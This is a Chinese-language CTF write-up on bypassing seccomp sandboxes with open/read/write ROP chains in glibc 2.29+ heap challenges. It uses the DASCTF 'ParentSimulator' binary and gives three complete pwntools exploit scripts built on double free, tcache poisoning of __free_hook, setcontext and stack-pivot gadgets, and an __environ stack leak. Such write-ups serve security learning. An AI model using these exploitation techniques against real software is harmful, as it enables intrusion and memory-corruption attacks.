Heap:高版本ORW的解题手法与万金油Gadgets

Heap:高版本ORW的解题手法与万金油Gadgets

本文首发于安全客 https://www.anquanke.com/post/id/236832

现在PWN越来越卷,很多题目都有沙箱,需要ORW来读flag,本文以MAR DASCTF 2021中的ParentSimulator为例,由复杂到简单介绍几种ORW类题目的解题手法,以及一些好用的Gadgets,

ORW

ORW类题目是指程序开了沙箱保护,禁用了一些函数的调用(如 execve等),使得我们并不能正常 get shell,只能通过ROP的方式调用open, read, write的来读取并打印flag 内容

1
2
3
fd = open('/flag','r')
read(fd,buf,len)
write(1,buf,len)

查看沙箱

在实战中我们可以通过 seccomp-tools来查看程序是否启用了沙箱, seccomp-tools工具安装方法如下:

1
2
$ sudo apt install gcc ruby-dev
$ gem install seccomp-tools

安装完成后通过 seccomp-tools dump ./pwn即可查看程序沙箱

image-20210331181532754

可以看到 ParentSimulator中禁用了 execve, 由于system函数实际上也是借由 execve实现的, 因此通过 get shell的方法来解决本题比较困难 ( 其实还是有方法的, 但不在此次咱们讨论的范围内 )

那么这时候就要用到 ORW

思路

低版本

Glibc2.29以前的 ORW解题思路已经比较清晰了,主要是劫持 free_hook 或者 malloc_hook写入 setcontext函数中的 gadget,通过 rdi索引,来设置相关寄存器,并执行提前布置好的 ORW ROP chains

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<setcontext+53>:  mov    rsp,QWORD PTR [rdi+0xa0]
<setcontext+60>: mov rbx,QWORD PTR [rdi+0x80]
<setcontext+67>: mov rbp,QWORD PTR [rdi+0x78]
<setcontext+71>: mov r12,QWORD PTR [rdi+0x48]
<setcontext+75>: mov r13,QWORD PTR [rdi+0x50]
<setcontext+79>: mov r14,QWORD PTR [rdi+0x58]
<setcontext+83>: mov r15,QWORD PTR [rdi+0x60]
<setcontext+87>: mov rcx,QWORD PTR [rdi+0xa8]
<setcontext+94>: push rcx
<setcontext+95>: mov rsi,QWORD PTR [rdi+0x70]
<setcontext+99>: mov rdx,QWORD PTR [rdi+0x88]
<setcontext+106>: mov rcx,QWORD PTR [rdi+0x98]
<setcontext+113>: mov r8,QWORD PTR [rdi+0x28]
<setcontext+117>: mov r9,QWORD PTR [rdi+0x30]
<setcontext+121>: mov rdi,QWORD PTR [rdi+0x68]
<setcontext+125>: xor eax,eax
<setcontext+127>: ret

高版本

但在 Glibc 2.29之后 setcontext中的gadget变成了以 rdx索引,因此如果我们按照之前思路的话,还要先通过 ROP控制 RDX的值,如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
.text:00000000000580DD                 mov     rsp, [rdx+0A0h]
.text:00000000000580E4 mov rbx, [rdx+80h]
.text:00000000000580EB mov rbp, [rdx+78h]
.text:00000000000580EF mov r12, [rdx+48h]
.text:00000000000580F3 mov r13, [rdx+50h]
.text:00000000000580F7 mov r14, [rdx+58h]
.text:00000000000580FB mov r15, [rdx+60h]
.text:00000000000580FF test dword ptr fs:48h, 2
....
.text:00000000000581C6 mov rcx, [rdx+0A8h]
.text:00000000000581CD push rcx
.text:00000000000581CE mov rsi, [rdx+70h]
.text:00000000000581D2 mov rdi, [rdx+68h]
.text:00000000000581D6 mov rcx, [rdx+98h]
.text:00000000000581DD mov r8, [rdx+28h]
.text:00000000000581E1 mov r9, [rdx+30h]
.text:00000000000581E5 mov rdx, [rdx+88h]
.text:00000000000581EC xor eax, eax
.text:00000000000581EE retn

但如果搜索过相应gadgets的同学应该有感受, 很难找到能够直接控制rdx寄存器的gadgets,这时候就需要常备一些 万金油gadgets,具体的gadgets在下文结合题目解法一同介绍

题目

分析

题目链接如下:

链接:https://pan.baidu.com/s/1qFcnn8p4iWgJyOB_1sgAFw
提取码:y895

首先分析一下题目,程序中可以 创建删除改名改描述更改一次性别退出

据此可以分析出chunk的结构

1
2
3
4
5
6
7
8
9
10
11
0x0 → pre_size

0x8 → size

0x10 → name

0x18 → gender

0x20 → des

.....

打开IDA分析一下程序的各个功能

创建

如图可以看出程序最多可以申请10个堆块,同时会维护两个数组,分别是chunk_listchunk_list_flag, 其中前者储存申请的chunk地址,而后者则会依据申请堆块的序号把数组对应位置写为1

image-20210331222551085

改名

逻辑很简单,在改名前会检查chunk_list_flag对应位置是否为1

image-20210331223228998

改描述

逻辑很简单,修改前也会检查 chunk_list_flag

image-20210331223254007

改性别(只能一次)

这个函数就不太一样了,他在修改性别前没有检查chunk_list_flag,而且会先打印当前性别

试想一下,如果目标堆块处于 tcache中,那么修改性别就能泄露 堆地址

如果目标堆块处于 unsort bin中,那么修改性别就有可能泄露 libc地址

(不过其实出题人提供这个函数是为了降低难度,即便不调用这个函数也可以通过double free来泄露相关地址)

image-20210331223324096

释放

程序的主要漏洞就出在释放函数中,可见函数并没有检查 chunk_list_flag,且释放后并没有将 chunk_list置0,存在uaf

image-20210331223535743

思路

经过上面的分析,我们的思路就很清楚了
首先利用 释放功能中的漏洞进行 double free,构造堆块重叠从而泄露 堆地址libc地址

之后通过 tcache投毒free_hook中写入gadget,使得用户在 free时可以通过 free_hook中布置的gadgets劫持程序执行流程到我们可控的地址

最后在可控的地址部署 ORWROP Chains,执行 free,输出 flag

以上就是比较常规的思路,其中的难点就在于寻找合适的 gadgets来劫持控制流,下面我们来讲一下具体实现

解法1 Gadget+setcontext

解法一和上文介绍的思路完全相同

这其中用到的 gadgetgetkeyserv_handle+576,其汇编如下

1
2
3
mov     rdx, [rdi+8]
mov [rsp+0C8h+var_C8], rax
call qword ptr [rdx+20h]

这个 gadget可以通过 rdi 来控制 rdx, 非常好用,而且从 Glibc2.29到2.32都可用

控制 rdx之后,我们就可以通过 setcontext来控制其他寄存器了

这里需要注意的是,根据我们分析的chunk结构, rdi+8位置的内容应该是 性别,因此我们在调用该gadget前需要先构造堆块重叠,控制 rdi+8的内容,详见EXP

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
#!/usr/bin/python
#coding=utf-8
#__author__:N1K0_

from pwn import *
import inspect
from sys import argv

def leak(var):
callers_local_vars = inspect.currentframe().f_back.f_locals.items()
temp = [var_name for var_name, var_val in callers_local_vars if var_val is var][0]
p.info(temp + ': {:#x}'.format(var))

s = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
r = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu32 = lambda data :u32(data.ljust(4, b'\0'))
uu64 = lambda data :u64(data.ljust(8, b'\0'))
plt = lambda data :elf.plt[data]
got = lambda data :elf.got[data]
sym = lambda data :libc.sym[data]
itr = lambda :p.interactive()

local_libc = '/lib/x86_64-linux-gnu/libc.so.6'
local_libc_32 = '/lib/i386-linux-gnu/libc.so.6'
remote_libc = ''
binary = './pwn'
context.binary = binary
elf = ELF(binary,checksec=False)

p = process(binary)
if len(argv) > 1:
if argv[1]=='r':
p = remote('1',1)
libc = elf.libc
# libc = ELF(remote_libc)

def dbg(cmd=''):
os.system('tmux set mouse on')
context.terminal = ['tmux','splitw','-h']
gdb.attach(p,cmd)
pause()

"""
chunk_list = 0x40A0
chunk_list_flag = 0x04060
gender_chance = 0x4010

"""
# start
# context.log_level = 'DEBUG'

def add(idx,sex,name):
sla('>> ','1')
sla('index?\n',str(idx))
sla('2.Girl:\n',str(sex))
sa("Please input your child's name:\n",name)
def name_edit(idx,name):
sla('>> ','2')
sla('index',str(idx))
sa('name:',name)
ru('Done!\n')
def show(idx):
sla('>>','3')
sla('index?',str(idx))
def free(idx):
sla('>>','4')
sla('index?',str(idx))
def change_sex(idx,sex):
sla('>>','666')
sla('index?',str(idx))
ru('Current gender:')
temp = uu64(r(6))
sla('2.Girl:',str(sex))
return temp
def content_edit(idx,data):
sla('>>','5')
sla('index?',str(idx))
sa('description:',data)
def quit():
sla('>>','6')

# ----------------------------- 1 利用double free构造堆块重叠, 泄露heap和libc地址
for i in range(10):
add(i,1,'a')
for i in range(7):
free(6-i)
# 合并进入usbin
free(8)
free(7)
# 从tcache中取出第一块分配
add(0,1,'1')
# 将合并状态下的一部分chunk放入tcache,造成堆块重叠
free(8)
# 再次申请,使放入tcache中的usbin chunk被分配,泄露堆地址
add(0,1,'1')
free(8)
show(0)
ru('nder: ')
heap_addr = uu64(r(6))
leak(heap_addr)

for i in range(1,9):
add(i,1,'a')
show(0)
ru('nder: ')
base = uu64(r(6))-0x1ebbe0
leak(base)

# --------------------------- 2 构造堆块重叠,使得可以向chunk+8位置写入数据;令在堆块上布置setcontext链
open_addr = base + sym('open')
read_addr = base + sym('read')
puts = base + sym('puts')
gadget = base + 0x154930
free_hook = base + sym('__free_hook')
setcontext = base + sym('setcontext') + 61
p_rdi_r = base + 0x26b72
p_rdx_r12_r = base + 0x11c371
p_rsi_r = base + 0x27529
leak(free_hook)
leak(gadget)

add(9,1,'a')
free(3)
free(1)
name_edit(0,p64(heap_addr+0x380)[:-1])
add(8,1,'a')
add(9,1,'a')
pl = p64(0) + p64(0x111)
pl+= p64(0) + p64(heap_addr+0x3a8-0x18) # 在chunk2的gender字段放置地址addr,令addr+0x28指向chunk2的des字段

# setcontext
"""
gadget 0x154930
mov rdx, [rdi+8]
mov [rsp+0C8h+var_C8], rax
call qword ptr [rdx+20h]
"""
pl+= p64(setcontext)
pl+= (0xa0-len(pl))*'\x00' + p64(heap_addr+0x5d0) + p64(p_rdi_r)
content_edit(9,pl)

# ----------------------------------------------- 3 set gadget into free_hook
free(7)
free(8)
name_edit(0,p64(free_hook)[:-1])
add(8,1,'a')
add(7,1,p64(gadget)[:-1])
# ---------------------------------------------- 4 在堆块中布置rop链
pl = p64(heap_addr+0xb10) + p64(p_rsi_r) + p64(0) + p64(open_addr)
# 这里要注意选择open返回的fd指针
pl+= p64(p_rdi_r) + p64(4) + p64(p_rsi_r) + p64(heap_addr+0x500) + p64(p_rdx_r12_r) + p64(0x30)*2 + p64(read_addr)
pl+= p64(p_rdi_r) + p64(heap_addr+0x500) + p64(puts)
content_edit(4,pl)
name_edit(0,'/flag\x00\x00')

command = 'b *'+ str(hex(gadget))+'\n'
dbg(command)
# ---------------------------------------------- 5 trigger
free(2)
# end
itr()

解法2 - gadget+栈迁移

解法1思路很清晰,但又要控制 rdx又要构造 setcontext,很麻烦,在这里介绍另一种解法,通过 gadget控制rbp的值,从而进行栈迁移,将栈劫持到我们可以控制的堆地址上,并执行预先布置的rop链,从而获取flag

先介绍一下万金油的gadget svcudp_reply+26,汇编如下

1
2
3
4
5
6
mov rbp, qword ptr [rdi + 0x48]; 
mov rax, qword ptr [rbp + 0x18];
lea r13, [rbp + 0x10];
mov dword ptr [rbp + 0x10], 0;
mov rdi, r13;
call qword ptr [rax + 0x28];

这个gadgets主要是通过 rdi控制 rbp进而控制 rax并执行跳转,由于我们已经控制了 rbp的值,因此只需要在 rax+0x28的位置部署 leave;ret即可完成栈迁移

从而在我们已经布置好 orw rop链的位置伪造栈地址并劫持控制流,最终读取flag

在第一个解法中我并没有使用 修改性别的功能,而是全部通过堆块重叠来泄露地址,在这个解法中用到了 修改性别功能,其主要作用是可以更快捷的泄露地址,而且如果堆块已经被释放的话,修改性别会更改 chunk+8位置的指针,使得我们可以对其进行 double free

详见EXP

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
#!/usr/bin/python
#coding=utf-8
#__author__:N1K0_

from pwn import *
import inspect
from sys import argv

def leak(var):
callers_local_vars = inspect.currentframe().f_back.f_locals.items()
temp = [var_name for var_name, var_val in callers_local_vars if var_val is var][0]
p.info(temp + ': {:#x}'.format(var))

s = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
r = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu32 = lambda data :u32(data.ljust(4, b'\0'))
uu64 = lambda data :u64(data.ljust(8, b'\0'))
plt = lambda data :elf.plt[data]
got = lambda data :elf.got[data]
sym = lambda data :libc.sym[data]
itr = lambda :p.interactive()

local_libc = '/lib/x86_64-linux-gnu/libc.so.6'
local_libc_32 = '/lib/i386-linux-gnu/libc.so.6'
remote_libc = ''
binary = './pwn'
context.binary = binary
elf = ELF(binary,checksec=False)

p = process(binary)
# p = process(["./pwn"], env={"LD_PRELOAD":"./libc-2.31.so"})
if len(argv) > 1:
if argv[1]=='r':
p = remote('1',1)
libc = elf.libc
# libc = ELF(remote_libc)

def dbg(cmd=''):
os.system('tmux set mouse on')
context.terminal = ['tmux','splitw','-h']
gdb.attach(p,cmd)
pause()

"""
chunk_list = 0x40A0
chunk_list_flag = 0x04060
gender_chance = 0x4010
"""

# start
# context.log_level = 'DEBUG'

def add(idx,sex,name):
sla('>> ','1')
sla('index?\n',str(idx))
sla('2.Girl:\n',str(sex))
sa("Please input your child's name:\n",name)
def name_edit(idx,name):
sla('>> ','2')
sla('index',str(idx))
sa('name:',name)
ru('Done!\n')
def show(idx):
sla('>>','3')
sla('index?',str(idx))
def free(idx):
sla('>>','4')
sla('index?',str(idx))
def change_sex(idx,sex):
sla('>>','666')
sla('index?',str(idx))
ru('Current gender:')
temp = uu64(r(6))
sla('2.Girl:',str(sex))
return temp
def content_edit(idx,data):
sla('>>','5')
sla('index?',str(idx))
sa('description:',data)
def quit():
sla('>>','6')

# ----------------------------- 1 free and show; leak heap_addr
for i in range(8):
add(i,1,'aaaa\n')
free(6)
heap_addr = change_sex(6,2)
# ---------------------------- 2 doble free 6; leak libc_base
free(6) # double free
add(6,1,'aa')
add(8,1,'aa') # 8 ==6
for i in range(6):
free(i)
free(7) # now tcache is full; next chunk will be in the usbin
free(6)
show(8)
ru('Name: ')
base = uu64(ru('\x7f',False)) - 0x1ebbe0
# ---------------------------- 3 set gadget to free_hook
gadget = base + 0x157d8a
free_hook = base + sym('__free_hook')
free_addr = base + sym('free')
open_addr = base + sym('open')
read_addr = base + sym('read')
puts = base + sym('puts')
# ret -> mov rip, [rsp]; rsp + 8
leave_r = base + 0x5aa48 # mov rsp, rbp; pop rbp
P_rax_r = base + 0x4a550
p_rsi_r = base + 0x27529
p_rdi_r = base + 0x26b72
p_rdx_r12_r = base + 0x11c371
p_rdx_rbx_r = base + 0x162866
P_rdx_rcx_rbx_r = base + 0x1056fd
add_rsp_0x18_r=base + 0x3794a
ret = base + 0x25679


for i in range(6):
add(i,1,'aa')
add(7,1,'a')
add(6,1,'b')
# set 6 to tcache and 8 is still at the same position with 6
free(7)
free(6)
# tcache poison
name_edit(8,p64(free_hook)[:-1])
add(6,1,'a')
add(7,1,p64(gadget)[:-1])

# -------------------------- 4 move stack to heap
"""
0x157d8a
mov rbp, qword ptr [rdi + 0x48];
mov rax, qword ptr [rbp + 0x18];
lea r13, [rbp + 0x10];
mov dword ptr [rbp + 0x10], 0;
mov rdi, r13;
call qword ptr [rax + 0x28];
"""

stack_addr = heap_addr + 0x900
# set rbp = chunk_des 6
pl = '/flag\x00'
pl = pl.ljust(0x38,'a')
pl+= p64(stack_addr)
pl+= p64(leave_r) # rax + 0x28 call
content_edit(0,pl)

pl = p64(ret) + p64(add_rsp_0x18_r)*2
pl+= p64(heap_addr + 0xa10+0x18) # rax
pl+= '\x00'*0x8
# --------------------------- 5 set orw ropchains on fakestack
# orw chains
# open
pl+= p64(p_rdi_r)+p64(heap_addr+0x0a10)+p64(p_rsi_r)+p64(0)+p64(open_addr)
# read
pl+= p64(p_rdi_r)+p64(4)+p64(p_rsi_r)+p64(heap_addr+0x3d0)+p64(p_rdx_r12_r)+p64(0x30)*2+p64(read_addr)
# puts
pl+= p64(p_rdi_r)+p64(heap_addr+0x3d0)+p64(puts)
content_edit(6,pl)

leak(free_hook)
leak(open_addr)
leak(read_addr)
leak(puts)
leak(gadget)
leak(heap_addr)
leak(base)
leak(leave_r)

comm = 'b *' + str(hex(add_rsp_0x18_r))+'\n'
comm+= 'b *' + str(hex(gadget)) + '\n'

dbg(comm)

# ---------------------------- 6 tigger
free(0)

# end

itr()

解法3 - 通过environ泄露栈地址,并在栈上构造orw rop链

在解法二当中我们是通过gadgets进行栈迁移,将原本的栈地址劫持到了堆上,但如果 栈地址已知的话,解题过程会更加简单,而且不需要特意去寻找万金油的gadgets

那么如何泄露栈地址呢?

其实程序的栈地址会存放在 __environ中,我们只要输出__environ的内容就能获取栈地址

在获取到栈地址后,我在main函数的 ret处下一个断点,发现main函数返回值和我们泄露的栈地址正好相差 0x100

image-20210401091919466

之后的思路就比较清晰了,我们依旧通过 tcache poison的方式,将堆块申请到main函数返回的位置,布置 orw ropchain,之后通过 退出功能将程序控制流指向布置好的 ropchain,最后输出flag

详见EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
#!/usr/bin/python
#coding=utf-8
#__author__:N1K0_

from pwn import *
import inspect
from sys import argv

def leak(var):
callers_local_vars = inspect.currentframe().f_back.f_locals.items()
temp = [var_name for var_name, var_val in callers_local_vars if var_val is var][0]
p.info(temp + ': {:#x}'.format(var))

s = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
r = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu32 = lambda data :u32(data.ljust(4, b'\0'))
uu64 = lambda data :u64(data.ljust(8, b'\0'))
plt = lambda data :elf.plt[data]
got = lambda data :elf.got[data]
sym = lambda data :libc.sym[data]
itr = lambda :p.interactive()

local_libc = '/lib/x86_64-linux-gnu/libc.so.6'
local_libc_32 = '/lib/i386-linux-gnu/libc.so.6'
remote_libc = ''
binary = './pwn'
context.binary = binary
elf = ELF(binary,checksec=False)

p = process(binary)
if len(argv) > 1:
if argv[1]=='r':
p = remote('1',1)
libc = elf.libc
# libc = ELF(remote_libc)

def dbg(cmd=''):
os.system('tmux set mouse on')
context.terminal = ['tmux','splitw','-h']
gdb.attach(p,cmd)
pause()

"""
chunk_list = 0x40A0
chunk_list_flag = 0x04060
gender_chance = 0x4010

"""

# start
context.log_level = 'DEBUG'

def add(idx,sex,name):
sla('>> ','1')
sla('index?\n',str(idx))
sla('2.Girl:\n',str(sex))
sa("Please input your child's name:\n",name)
def name_edit(idx,name):
sla('>> ','2')
sla('index',str(idx))
sa('name:',name)
ru('Done!\n')
def show(idx):
sla('>>','3')
sla('index?',str(idx))
def free(idx):
sla('>>','4')
sla('index?',str(idx))
def change_sex(idx,sex):
sla('>>','666')
sla('index?',str(idx))
ru('Current gender:')
temp = uu64(r(6))
sla('2.Girl:',str(sex))
return temp
def content_edit(idx,data):
sla('>>','5')
sla('index?',str(idx))
sa('description:',data)
def quit():
sla('>>','6')

# ---------------------------- 1 构造double free;泄露libc、heap、environ;将堆块申请到environ泄露stack并计算出main ret
for i in range(10):
add(i,1,'aaaa')
for i in range(7):
free(6-i)
free(7)
free(8)
add(0,1,'aaaa')
free(8)
add(0,1,'aaaa')
for i in range(1,8):
add(i,1,'aaaa')
show(0)
base = uu64(ru('\x7f',False)[-6:]) - 0x1ebbe0
environ = base + sym('__environ')
leak(base)
leak(environ)
add(8,1,'aaaa')
free(9)
free(8)
name_edit(0,p64(environ-0x10)[:-1])
add(8,1,'aaaa')
add(9,1,'aaaa')
show(9)
stack_addr = uu64(ru('\x7f',False)[-6:])
main_ret = stack_addr - 0x100
leak(stack_addr)
leak(main_ret)

# ----------------------------------------2 利用double和tcache poison,将堆块申请到main ret并布置orw chains
free(7)
free(8)
show(0)
ru('Name: ')
heap_addr = uu64(r(6))-0xa10
leak(heap_addr)
name_edit(0,p64(main_ret-0x10)[:-1])
add(8,1,'/flag\x00\x00')
add(7,1,'aa')

p_rsi_r = base + 0x27529
p_rdi_r = base + 0x26b72
p_rdx_r12_r = base + 0x11c371
open_addr = base + sym('open')
read_addr = base + sym('read')
puts = base + sym('puts')
# orw chains
# open
pl = p64(p_rdi_r)+p64(heap_addr+0x0b20)+p64(p_rsi_r)+p64(0)+p64(open_addr)
# read
pl+= p64(p_rdi_r)+p64(4)+p64(p_rsi_r)+p64(heap_addr+0x3d0)+p64(p_rdx_r12_r)+p64(0x30)*2+p64(read_addr)
# puts
pl+= p64(p_rdi_r)+p64(heap_addr+0x3d0)+p64(puts)
content_edit(7,pl)
#------------------------------------------3 trigger
quit()
# end
itr()

参考

https://shimo.im/docs/V1hLlJ0RoRkI7Si9


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!